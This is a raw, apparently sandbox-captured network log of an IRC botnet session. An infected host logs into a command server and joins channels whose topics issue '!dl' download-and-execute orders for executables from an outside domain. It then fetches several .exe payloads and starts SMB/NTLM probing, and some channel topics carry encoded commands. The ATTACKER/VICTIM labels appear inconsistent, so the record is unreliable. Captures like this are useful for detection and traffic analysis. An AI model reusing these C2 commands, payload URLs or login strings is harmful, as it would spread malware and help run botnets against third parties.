ATTACKER: \201\000\000D CKFDENECFDEFFCFGEFFCCACACACACACA\000 EFEOEECNDEDIDDDDEDDBDCEFDJEBDFAA\000 VICTIM: \202\000\000\000 VICTIM: PASS trb123trb VICTIM: NICK pulsfpUSER xksdcv \\ \cqg\ :xksdcv ATTACKER: :hub.28558.com 001 pulsfp :edu3, pulsfp!xksdcv@192.168.1.161:hub.28558.com 005 pulsfp MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.28558.com 005 pulsfp WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=edu3 CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:pulsfp MODE pulsfp :+iRp:pulsfp!xksdcv@192.168.1.161 JOIN :##xddc:hub.28558.com 332 pulsfp ##xddc :!dl http:/nadsam0.info/sooo4.exe c:\\temp.exe 1:hub.28558.com 333 pulsfp ##xddc z4l5 1214164366:hub.28558.com 353 pulsfp @ ##xddc :pulsfp :hub.28558.com 366 pulsfp ##xddc :End of /NAMES list.:pulsfp!xksdcv@192.168.1.161 JOIN :#xddc2:hub.28558.com 332 pulsfp #xddc2 :!dl http:/nadsam0.info/x2.exe c:\\cdrive.exe 1:hub.28558.com 333 pulsfp #xddc2 d4g1 1213913935:hub.28558.com 353 pulsfp @ #xddc2 :pulsfp :hub.28558.com 366 pulsfp #xddc2 :End of /NAMES list. ATTACKER: :pulsfp!xksdcv@192.168.1.161 JOIN :#xddc3:hub.28558.com 353 pulsfp @ #xddc3 :pulsfp :hub.28558.com 366 pulsfp #xddc3 :End of /NAMES list. VICTIM: GET / VICTIM: PASS trb123trb ATTACKER: NICK mfiaseUSER mblkpa \\ \hzk\ :mblkpa ATTACKER: :hub.28558.com 001 mfiase :edu3, mfiase!mblkpa@192.168.1.161:hub.28558.com 005 mfiase MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.28558.com 005 mfiase WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=edu3 CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:mfiase MODE mfiase :+iRp:mfiase!mblkpa@192.168.1.161 JOIN :##xddc:hub.28558.com 332 mfiase ##xddc :!dl http:/nadsam0.info/sooo4.exe c:\\temp.exe 1:hub.28558.com 333 mfiase ##xddc z4l5 1214164366:hub.28558.com 353 mfiase @ ##xddc :mfiase :hub.28558.com 366 mfiase ##xddc :End of /NAMES list.:mfiase!mblkpa@192.168.1.161 JOIN :#xddc2:hub.28558.com 332 mfiase #xddc2 :!dl http:/nadsam0.info/x2.exe c:\\cdrive.exe 1:hub.28558.com 333 mfiase #xddc2 d4g1 1213913935:hub.28558.com 353 mfiase @ #xddc2 :mfiase :hub.28558.com 366 mfiase #xddc2 :End of /NAMES list. ATTACKER: :mfiase!mblkpa@192.168.1.161 JOIN :#xddc3:hub.28558.com 353 mfiase @ #xddc3 :mfiase :hub.28558.com 366 mfiase #xddc3 :End of /NAMES list. VICTIM: G VICTIM: G VICTIM: PASS trb123trb ATTACKER: NICK mjfteaUSER oonrpu \\ ir\ :oonrpu ATTACKER: :hub.28558.com 001 mjftea :edu3, mjftea!oonrpu@192.168.1.161:hub.28558.com 005 mjftea MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.28558.com 005 mjftea WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=edu3 CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:mjftea MODE mjftea :+iRp:mjftea!oonrpu@192.168.1.161 JOIN :##xddc:hub.28558.com 332 mjftea ##xddc :!dl http:/nadsam0.info/sooo4.exe c:\\temp.exe 1:hub.28558.com 333 mjftea ##xddc z4l5 1214164366:hub.28558.com 353 mjftea @ ##xddc :mjftea :hub.28558.com 366 mjftea ##xddc :End of /NAMES list.:mjftea!oonrpu@192.168.1.161 JOIN :#xddc2:hub.28558.com 332 mjftea #xddc2 :!dl http:/nadsam0.info/x2.exe c:\\cdrive.exe 1:hub.28558.com 333 mjftea #xddc2 d4g1 1213913935:hub.28558.com 353 mjftea @ #xddc2 :mjftea :hub.28558.com 366 mjftea #xddc2 :End of /NAMES list. ATTACKER: :mjftea!oonrpu@192.168.1.161 JOIN :#xddc3:hub.28558.com 353 mjftea @ #xddc3 :mjftea :hub.28558.com 366 mjftea #xddc3 :End of /NAMES list. VICTIM: G VICTIM: PASS trb123trb ATTACKER: ERROR :Closing Link: [192.168.1.161] (Throttled: Reconnecting too fast) -Email DIE@DIE.COM for more information.) ATTACKER: NICK qrwuhmUSER pgmydx \\ \xbz\ :pgmydx VICTIM: USER htvuxc htvuxc htvuxc :lvgbwifsyiclkgkz ATTACKER: NICK WmXDaPxY ATTACKER: :hub.54535.com 001 WmXDaPxY :eduzz, WmXDaPxY!htvuxc@192.168.1.161:hub.54535.com 005 WmXDaPxY MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.54535.com 005 WmXDaPxY WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=eduzz CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:WmXDaPxY MODE WmXDaPxY :+iRp VICTIM: MODE WmXDaPxY +xi VICTIM: JOIN #las6 USERHOST WmXDaPxY ATTACKER: :WmXDaPxY!htvuxc@192.168.1.161 JOIN :#las6:hub.54535.com 332 WmXDaPxY #las6 :=mDWIocXFFHOeJkQb5QJl9J9RlrAsCXeYayH4Huco1mG9HQKwfcjfPIM8QyYzX6g0XzinKTwC95tpmzYcyde+U0Qfa/nt2xF4lufh0U8OvCMfkjkwmxtnE49:hub.54535.com 333 WmXDaPxY #las6 d8364 1211731398:hub.54535.com 353 WmXDaPxY @ #las6 :WmXDaPxY :hub.54535.com 366 WmXDaPxY #las6 :End of /NAMES list.:hub.54535.com 302 WmXDaPxY :WmXDaPxY=+htvuxc@192.168.1.161 VICTIM: MODE #las6 +smntu ATTACKER: :hub.54535.com 482 WmXDaPxY #las6 :You're not channel operator VICTIM: JOIN #rs2 p\002\002JOIN #fox p\002\002 ATTACKER: :WmXDaPxY!htvuxc@192.168.1.161 JOIN :#rs2:hub.54535.com 332 WmXDaPxY #rs2 :=JoeLUicp48L6NXkGKImNfcMvIctiOmN4iZagdN/DyG3b2ibm6nMcgYynJIypDId12i6x2l4RP3mJUvYDWwJAJxU9IUvpj7KCY2ShEqgMnbverSOE4vhmi084OXyvBDx7Qhd1EmrpJObJEeWRbkbPiRwY9ZEtPWVJ8xIuA+gNUjrCRWOm62tygoA2skM0xUz1GhSxyqtRPEp:hub.54535.com 333 WmXDaPxY #rs2 s4p9 1214207675:hub.54535.com 353 WmXDaPxY @ #rs2 :WmXDaPxY :hub.54535.com 366 WmXDaPxY #rs2 :End of /NAMES list.:WmXDaPxY!htvuxc@192.168.1.161 JOIN :#fox:hub.54535.com 332 WmXDaPxY #fox :=t13QhCezV0J27VMKOBOB40lhJQ9mEqGIswIgHM/DSBuVErL9YC2Ug4Tf1OSB3FNboiY1AnJH1YFzzhoBwx7AYZeRd88deeKCnVwrXrgcka2+/9tMZl7wbV2YCZR/3EwVusvjOt4zbJ7vUe9hvkZLL+To0f0lS+/xGY6iAbjpPha6GbVWm8WignfnR0/M30wbYlR1Et8H1LJ:hub.54535.com 333 WmXDaPxY #fox k3e8 1213796690:hub.54535.com 353 WmXDaPxY @ #fox :WmXDaPxY :hub.54535.com 366 WmXDaPxY #fox :End of /NAMES list. VICTIM: MODE #rs2 +smntu ATTACKER: :hub.54535.com 482 WmXDaPxY #rs2 :You're not channel operator VICTIM: MODE #fox +smntu ATTACKER: GET /is2.exe HTTP/1.0Host: nadsam0.info ATTACKER: GET /is.exe HTTP/1.0Host: nadsam0.info ATTACKER: GET /rm.exe HTTP/1.0Host: nadsam0.info ATTACKER: GET /is3.exe HTTP/1.0Host: nadsam0.info ATTACKER: GET /kat.exe HTTP/1.0Host: nadsam0.info ATTACKER: GET /xxx.exe HTTP/1.0Host: nadsam0.info ATTACKER: :hub.54535.com 482 WmXDaPxY #fox :You're not channel operator VICTIM: \000\000\000U\377SMBr\000\000\000\000\230S\310\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\376\000\000\000\000\021\005\000\003\000\001\000\004\021\000\000\000\000\001\000\000\000\000\000\375\343\000\200\007\t/\325\310\001\244\001\000\020\0003\013K\0376\336\230K\275S\275\212\254I\031v VICTIM: \000\000\001O\377SMBs\026\000\000\300\230\007\310\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\376\000\010\020\000\004\377\000O\001\000\000\332\000\$\001NTLMSSP\000\002\000\000\000\036\000\036\0000\000\000\000\025\202\212\340\316\357\300-\300JG\000\000\000\000\000\000\000\000\214\000\214\000N\000\000\000S\000R\000I\000-\000Z\000O\000J\000K\0005\000N\000L\000Q\000C\000R\0003\000\002\000\036\000S\000R\000I\000-\000Z\000O\000J\000K\0005\000N\000L\000Q\000C\000R\0003\000\001\000\036\000S\000R\000I\000-\000Z\000O\000J\000K\0005\000N\000L\000Q\000C\000R\0003\000\004\000\036\000s\000r\000i\000-\000z\000o\000j\000k\0005\000n\000l\000q\000c\000r\0003\000\003\000\036\000s\000r\000i\000-\000z\000o\000j\000k\0005\000n\000l\000q\000c\000r\0003\000\000\000\000\000\000W\000i\000n\000d\000o\000w\000s\000 \0005\000.\0000\000\000\000W\000i\000n\000d\000o\000w\000s\000 \0002\0000\0000\0000\000 \000L\000A\000N\000 \000M\000a\000n\000a\000g\000e\000r\000\000 VICTIM: \000\000\000#\377SMBsm\000\000\300\230\007\310\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\376\000\010 \000\000\000\000 VICTIM: \000\000\000#\377SMBt\002\000[\000\230\007\210\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\376\000\0100\000\000\000\000